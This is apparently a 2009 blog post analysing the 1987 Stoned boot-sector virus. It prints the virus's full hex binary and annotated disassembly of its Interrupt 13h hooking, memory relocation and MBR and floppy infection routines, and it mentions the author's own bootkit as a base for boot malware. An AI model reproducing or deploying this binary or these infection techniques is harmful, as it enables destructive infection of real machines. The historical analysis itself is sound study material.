Analysis of Stoned
I am currently moving to my big project 'Stoned'. It is an open source bootkit, which means you can use it for creating your own boot software (diagnostic tools, backup solutions, etc.) or for abusing it to create your own boot virus or malware loader. My Stoned Bootkit was named after the very first boot virus/infector "Stoned", which was developed in 1987 in New Zealand by a student. The virus is quite old, but still able to infect Vista (see links). It also has obfuscation and contains some nice tricks I want to explain here.
Peter Kleissner, Software Dev. Guru (April 2009)
What Wikipedia is saying about Stoned
First, let's take a look what Wikipedia knows about Stoned. The article is quite very good (but the german one even better). So here's the first paragraph (also linked below under references):
"Stoned is the name of a boot sector computer virus created in 1987, apparently in New Zealand. It was one of the very first viruses, and was, along with its many variants, very common and widespread in the early 1990s.
When an infected computer started, there was a one in eight probability that the screen would declare:"
Your PC is now Stoned!
Stoned is one of the very first boot viruses, apparently an infector. It writes itself to floppies and hard disks (Master Boot Record) and backs up the original bootloader it overwrites. The original Stoned virus (Stoned.A) is 512 bytes (1 sector) big. It originally comes from a floppy drive, but has the space for the Partition Table preserved so can also act on hard disks. Binary listing of the original Stoned virus:
00000000 EA 05 00 C0 07 E9 99 00 00 51 02 00 C8 E4 00 80 ê..À.é™..Q..Èä.€ 00000010 9F 00 7C 00 00 1E 50 80 FC 02 72 17 80 FC 04 73 Ÿ.|...P€ü.r.€ü.s 00000020 12 0A D2 75 0E 33 C0 8E D8 A0 3F 04 A8 01 75 03 ..Òu.3ÀŽØ ?.¨.u. 00000030 E8 07 00 58 1F 2E FF 2E 09 00 53 D1 52 06 56 57 è..X..ÿ...SÑR.VW 00000040 BE 04 00 B8 01 02 0E 07 BB 00 02 33 C9 8B D1 41 ¾..¸....»..3É‹ÑA 00000050 9C 2E FF 1E 09 00 73 0E 33 C0 9C 2E FF 1E 09 00 œ.ÿ...s.3Àœ.ÿ... 00000060 4E 75 E0 EB 35 90 33 F6 BF 00 02 FC 0E 1F AD 3B Nuàë5.3ö¿..ü...; 00000070 05 75 06 AD 3B 45 02 74 21 B8 01 03 BB 00 02 B1 .u..;E.t!¸..»..± 00000080 03 B6 01 9C 2E FF 1E 09 00 72 0F B8 01 03 33 DB .¶.œ.ÿ...r.¸..3Û 00000090 B1 01 33 D2 9C 2E FF 1E 09 00 5F 5E 07 5A 59 5B ±.3Òœ.ÿ..._^.ZY[ 000000A0 C3 33 C0 8E D8 FA 8E D0 BC 00 7C FB A1 4C 00 A3 Ã3ÀŽØúŽÐ¼.|û¡L.£ 000000B0 09 7C A1 4E 00 A3 0B 7C A1 13 04 48 48 A3 13 04 .|¡N.£.|¡..HH£.. 000000C0 B1 06 D3 E0 8E C0 A3 0F 7C B8 15 00 A3 4C 00 8C ±.ÓàŽÀ£.|¸..£L.Œ 000000D0 06 4E 00 B9 B8 01 0E 1F 33 F6 8B FE FC F3 A4 2E .N.¹¸...3ö‹þüó¤. 000000E0 FF 2E 0D 00 B8 00 00 CD 13 33 C0 8E C0 B8 01 02 ÿ...¸..Í.3ÀŽÀ¸.. 000000F0 BB 00 7C 2E 80 3E 08 00 00 74 0B B9 07 00 BA 80 ».|.€>...t.¹..º€ 00000100 00 CD 13 EB 49 90 B9 03 00 BA 00 01 CD 13 72 3E .Í.ëI.¹..º..Í.r> 00000110 26 F6 06 6C 04 07 75 12 BE 89 01 0E 1F AC 0A C0 &ö.l..u.¾‰...¬.À 00000120 74 08 B4 0E B7 00 CD 10 EB F3 0E 07 B8 01 02 BB t.´.·.Í.ëó..¸..» 00000130 00 02 B1 01 BA 80 00 CD 13 72 13 0E 1F BE 00 02 ..±.º€.Í.r...¾.. 00000140 BF 00 00 AD 3B 05 75 11 AD 3B 45 02 75 0B 2E C6 ¿...;.u..;E.u..Æ 00000150 06 08 00 00 2E FF 2E 11 00 2E C6 06 08 00 02 B8 .....ÿ....Æ....¸ 00000160 01 03 BB 00 02 B9 07 00 BA 80 00 CD 13 72 DF 0E ..»..¹..º€.Í.rß. 00000170 1F 0E 07 BE BE 03 BF BE 01 B9 42 02 F3 A4 B8 01 ...¾¾.¿¾.¹B.ó¤¸. 00000180 03 33 DB FE C1 CD 13 EB C5 07 59 6F 75 72 20 50 .3ÛþÁÍ.ëÅ.Your P 00000190 43 20 69 73 20 6E 6F 77 20 53 74 6F 6E 65 64 21 C is now Stoned!
Download the full Binary Listing.
For overview, take a look at following memory layout:
; Memory Table ; 0000h:7C00h Stoned Bootloader will be loaded here by BIOS ; XXXXh:0000h Stoned will copy itself to there ; XXXXh:0200h Any original bootloader from floppy/hard disk will be read here to ; backups original bootloader from hard disk to logical sector 6 ; backups original bootloader from floppys at logical sector 2, head 1
The source code consists of 3 parts: A Jump Table, an Interrupt 13h Service Handler and an initial infect/start code. Let's take a look at the jump table at the very beginning:
; jump table! ; ..stores just segments and offsets (will be patched at runtime) 00000000 EA0500C007 jmp word 07C0h:Set_Code_Segment ; make a jump to set correct Code Segment Set_Code_Segment: 00000005 E99900 jmp Stoned_Start ; initial address of stoned boot virus Hard_Disk_Infected: 00000008 00 db 0 ; 0 = not infected, 2 = hard disk infected Int_13h_Offset: 00000009 5102 dw 0000h ; offset of original Interrupt 13h handler Int_13h_Segment: 0000000B 00C8 dw 0000h ; segment of original Interrupt 13h handler Relocated_Memory_Offset: 0000000D E400 dw Relocated_Memory ; offset of relocated memory (this is useful for compiling Stoned into multiple parts) Relocated_Memory_Segment: 0000000F 809F dw 0000h ; patched dynamically Original_Bootloader_Offset: 00000011 007C dw 7C00h ; recognizing that address ;) Original_Bootloader_Segment: 00000013 0000 dw 0000h ; never used
This is a very nice idea but shows how old the code is (such jump tables are very old coding techniques, this isn't done nowadays). It stores for the virus important segment and offset addresses (this is todays not needed anymore - compare against the flat memory model). It contains backup of original Interrupt 13h handler address, offset of the new Stoned Interrupt 13h handler and a pointer to the address where the original bootloader will be loaded to. So mainly a backup/original address table.
Interrupt 13h Handler Relocation
Next, take a look at the Stoned Interrupt 13h handler. It is relocated to the end of memory - always done by using the "base memory in size" variable of the BIOS Data Area:
; allocate 2048 bytes memory from the end of real mode memory 000000B8 A11304 mov ax,[0x413] ; MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES 000000BB 48 dec ax 000000BC 48 dec ax 000000BD A31304 mov [0x413],ax --------B-M00400013-------------------------- MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES Size: WORD SeeAlso: INT 12
The code takes the size of base memory (= free memory from zero) and decrements it by 2 KB. This tells the BIOS/system that there is now 2048 KB less memory, which will be used to copy the Interrupt 13h handler into:
; * 1024 / 16 = Segment Size 000000C0 B106 mov cl,6 ; 6 bits left shift = * 64 000000C2 D3E0 shl ax,cl 000000C4 8EC0 mov es,ax 000000C6 A30F7C mov [7C00h + Relocated_Memory_Segment],ax ; store segment of relocated memory for later usage
Here we also see the jump table used for recognizing the new addres for the Interrupt handler. Following code registers now the address of the new allocated memory to the Interrupt 13h in the Interrupt Vector Table:
; set new Interrupt 13h handler 000000C9 B81500 mov ax,Interrupt_13h 000000CC A34C00 mov [13h * 4 + 0],ax ; Offset 000000CF 8C064E00 mov [13h * 4 + 2],es ; Segment
The IVT contains the addresses to the interrupt handlers as Segment:Offset, which means first 2 bytes Offset and following 2 bytes Segment. Now the relocation code, that copies the Interrupt 13h handler:
; now relocate this code to new allocated memory, where int 13h points to 000000D3 B9B801 mov cx,440 ; 440 bytes to copy (everything up to the Partition Table) 000000D6 0E push cs 000000D7 1F pop ds ; from ds:si (code segment:0) 000000D8 33F6 xor si,si 000000DA 8BFE mov di,si ; to es:di (allocated memory:0) 000000DC FC cld 000000DD F3A4 rep movsb ; rep movsd would be faster, but wasn't invented that time ;)
This is quite cool, because this way is exactly the same as used by todays bootkits like Sinowal. I think I've explained it also a bit how's done in Sinowal, but not that detailed.
Interrupt 13h Handler
The Interrupt 13h handler of Stoned is responsible for infecting floppies on-the-fly. Everytime invoked, it checks if read/write/verify commands are requested and hooks them. That means it checks the targeting floppy if it is already infected (compares the first 4 bytes of the floppies bootloader with itself). If not, it backs up the original bootloader to sector 3, head 1 and writes itself (Stoned) to the bootloader.
It is important to say that Stoned only hooks the old I/O commands - not the new ones (Extended Functions), which are nowadays normally always used. The reason why Stoned misses to hook that function is that they weren't invented in 1987 =), they were developed in mid nineties. So depending on the programmer/program the infector works only limited.
The very first code of Stoned executed does relocation (to the end of memory as discussed above) and initially infects the hard disk MBR and the floppy bootloader (if available). It will also print out the famous message "Your PC is now Stoned!".
Symptoms and it's code
Wikipedia says "When an infected computer started, there was a one in eight probability that the screen would declare: Your PC is now Stoned!". The one in eight probability results from following piece of code:
; display the message only if multiple of 440 ms time delay 00000110 26F6066C0407 test byte [es:046Ch],00000111b ; 0000h:046Ch = Timer ticks since midnight (updated every 55 milliseconds by BIOS) 00000116 7512 jnz Message_Output_Finished
1 that all 3 bits are clear (= output message) and 7 that one or more bits are set. The code uses (again) a variable of the BIOS Data Area (Timer Ticks).
Further it has been described in (at least the German) Wikipedia article that a symptom is that the computer "loses" 2048 bytes of memory, which is the result of the relocation (discussed above). Another point was that files could vanish - this is because the back up is done for floppies on head 1 sector 3, which could be occupied by FAT root directory (if there is a large amount of files).
You may download the Stoned Source Code here.
- Wikipedia about Stoned
- Virus Bulletin News: Boot virus shipped on German laptops
- Symantec about Stoned
- F-Secure about Stoned
- McAfee about Stoned
- Some Common PC-DOS Viruses and What They Mean To You - David M. Chess (IBM Research)